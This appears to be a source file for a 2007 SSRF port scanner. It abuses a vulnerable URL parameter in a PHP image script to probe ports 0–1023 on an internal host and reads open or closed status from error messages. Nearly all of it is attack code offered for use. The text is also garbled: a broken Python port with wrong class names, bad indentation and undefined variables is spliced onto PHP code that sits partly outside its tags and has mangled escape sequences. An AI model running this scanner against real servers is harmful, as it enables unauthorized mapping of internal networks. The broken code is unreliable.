// remote furl scanner - scan.py
// (c) 2007 Francesco `ascii` Ongaro - http://www.ush.it/
// idea of Stefano `wisec` di Paola - http://www.wisec.it/
// credits to snagg and rampo for the python port, we love you!

import os
import sys
import threading
import urllib

class FurlThread (threading.thread):
	def __init__(self, url, proxies, path):
		self.url = url
		self.proxies = proxies
		self.path = path

	def run (self ):
    	params = urllib.urlencode({'url': self.path})
		try:
			f = urllib.urlopener(self.url, params, proxies)
		except IOError, (errno, strerror):
			return errno, strerror
 
		return f
 
if __name__ == '__main__':
	for x in xrange ( 5 ):
		Furlthread("http://jhon.asciinb.vlan.ush.it/getimagesize.php?", "ftp://127.0.0.1:21", {'http': 'http://proxy.com:8080/'}).start()

if ($argc < 3) {
 echo 'Usage: '.$argv[0].' <scan_host> <vulnerable_url>'."n";
 echo '       php -n '.$argv[0].' 192.168.1.1 "http://intranet/getimagesize.php?url={URL}"'."nn";
 exit;
}

$host = $argv[1];
$URL = $argv[2];

$URL = str_replace('{URL}', '{PROTO}{HOST}:{PORT}/', $URL);
// $URL = 'http://jhon.asciinb.vlan.ush.it/getimagesize.php?url={PROTO}{HOST}:{PORT}/';
echo 'Remote URL is '.$URL."n";

$protos = array('http://', 'ftp://');

define('PORT_CLOSE', 1000);
define('PORT_UNKNOWN', 1001);
define('PORT_OPEN', 1002);

define('SCAN_FATAL', TRUE);
define('SCAN_OK', FALSE);

// define('DEBUG', TRUE);
define('DEBUG', FALSE);

$errors = array();
$errors[] = array('URL file-access is disabled in the server configuration', PORT_UNKNOWN, SCAN_FATAL);
$errors[] = array('couldn't connect to server', PORT_CLOSE, SCAN_OK);
$errors[] = array('failed to open stream', PORT_CLOSE, SCAN_OK);
$errors[] = array('could not make seekable', PORT_OPEN, SCAN_OK);

$report = array();
$report[PORT_CLOSE] = 'closed';
$report[PORT_OPEN] = 'open';
$report[PORT_UNKNOWN] = 'unknown';


<?php



$results = array();
foreach ($protos as $proto) {
 for ($port=0;$port<1024;$port++) {
  if (!DEBUG) echo '.';
  else echo 'Scanning port('.$port.')..'."n";
  $time_start = time();
  $response = file_get_contents(str_replace(array('{PROTO}', '{HOST}', '{PORT}'), array($proto, $host, $port), $URL));
  $time_end = time()-$time_start;
  $found = FALSE;
  foreach ($errors as $error) {
   if (DEBUG) echo ' Checking error('.$error[0].')..'."n";
   if (strstr($response, $error[0])) {
    if ($found === TRUE && $results[$proto][$port][0] !== $error[1])
     trigger_error('Strange, the response already matched an error but this time the guess is different!', E_USER_NOTICE);
    if ($error[2] === TRUE) trigger_error('Sorry but this technique doesn't work on this host!', E_USER_NOTICE);
    $results[$proto][$port] = array($error[1], $time_end);
    $found = TRUE;
   }
  }
  if ($found === FALSE) {
   trigger_error('Strange, the response did not match any error!', E_USER_NOTICE);
   if (DEBUG) echo $response;
   $results[$proto][$port] = array(PORT_UNKNOWN, $time_end);
  }
 }
}

echo "n";

foreach ($protos as $proto) {
 echo 'Scan with protocol('.$proto.'):'."n";
 echo "t".'PORT'."t".'STATUS'."t".'TIME'."n";
 foreach ($results[$proto] as $port => $result)
  if ($result[0] >= PORT_UNKNOWN) echo "t".$port."t".$report[$result[0]]."t".$result[1].'sec'."n";
}

?>